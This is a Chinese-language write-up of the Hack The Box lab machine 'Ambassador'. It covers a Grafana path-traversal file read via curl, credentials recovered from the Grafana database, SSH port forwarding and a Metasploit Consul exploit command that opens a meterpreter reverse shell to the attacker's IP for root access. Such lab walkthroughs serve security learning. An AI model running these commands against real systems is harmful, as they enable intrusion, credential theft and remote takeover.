文章目录
- 前言
- 一、Web部分
- 二、提权部分
前言
难度:中等,Hack The Box网站在线靶机。本文涉及知识点有:Grafana系统任意文件读取,CURL下载文件,SSL本地端口转发,Consul命令执行。
靶机地址:10.10.11.183
kali地址:10.10.14.26
一、Web部分
1)选择active machines页面的medium难度,选择第一个Ambassador靶机。
2)由于是靶机直接就全端口扫描了,同时Fscan先扫一下看看。发现存在22端口说明是Linux主机。存在80端口、3000端口是Grafana系统,还有3306端口。
nmap -T4 -p- 10.10.11.183
3)Fscan结果是SSH和MySQL都不存在弱口令。
./fscan_amd64 -h 10.10.11.183
4)访问3000端口发现是Grafana系统,先尝试下弱口令失败,查找历史漏洞,发现任意文件读取漏洞,但是利用失败了。
5)在看一眼3306端口+phpMyAdmin,乱码但是大概能判断操作系统版本。
6)访问80端口:http://10.10.11.183/,提示是说使用开发人员帐户进行SSH,DevOps将为您提供密码。没懂先放着吧!
7)进行目录扫描,也没发现什么有效信息。
8)陷入 僵局,再次不死心的尝试下grafana的漏洞,这次利用searchexploit查询。搜索grafana,然后选择任意文件读取的payload拷贝到当前桌面上,然后使用,然后就好使了!!!
searchsploit grafanasearchsploit -m multiple/webapps/50581.pypython3 50581.py -H http://10.10.11.183:3000
9)任意文件读取先读取配置文件,谷歌搜索发现配置文件为:/etc/grafana/grafana.ini
10)数据量太多了我们直接下载下来看。
curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
11)根据 grafana.ini 文件中的提示:mysql、postgres、sqlite3都可以打开,我们用sqlite3打开,成功找出MySQL数据库的账号和凭证:grafana/dontStandSoCloseToMe63221!
12)连接数据库后查看下当前用户,找到账号密码为:developer/anEnglishManInNewYork027468。
13)按照80端口页面的提示,使用账号密码登录SSH服务器。
二、提权部分
1)可以看出来是无法利用内核版本提权了。
2)也无法利用sudo提权和suid提权。
sudoedit -s /find / -user root -perm -4000 -print 2>/dev/null
3)无法利用计划任务提权,还有其他的等等。
4)常规目录查看tmp opt等等,在opt中存在两个文件夹其中my-app文件家中存在git文件,可以查看git日志,发现正在运行一个consul的服务,不懂百度之。
5)发现存在远程命令执行漏洞并且MSF上就有,然后各种利用失败。
6)查找原因,报错是说连接cosul API的时候出错了,查找资料后发现是因为没有8500端口,直接用SSL做一个本地端口转发,将靶机的8500端口转发到本地8500端口。
ssh -L 8500:0.0.0.0:8500 developer@10.10.11.183 #然后输入密码
7)然后利用MSF直接反弹shell,权限为root权限。
msfconsole -q -x "use multi/misc/consul_service_exec; set payload linux/x86/meterpreter/reverse_tcp;set rhosts 127.0.0.1; set lhost 10.10.14.26; # 此处的acl_token在第4段的第二张图最下方set acl_token bb03b43b-1d81-d62b-24b5-39540ee469b5; set lport 4444; exploit"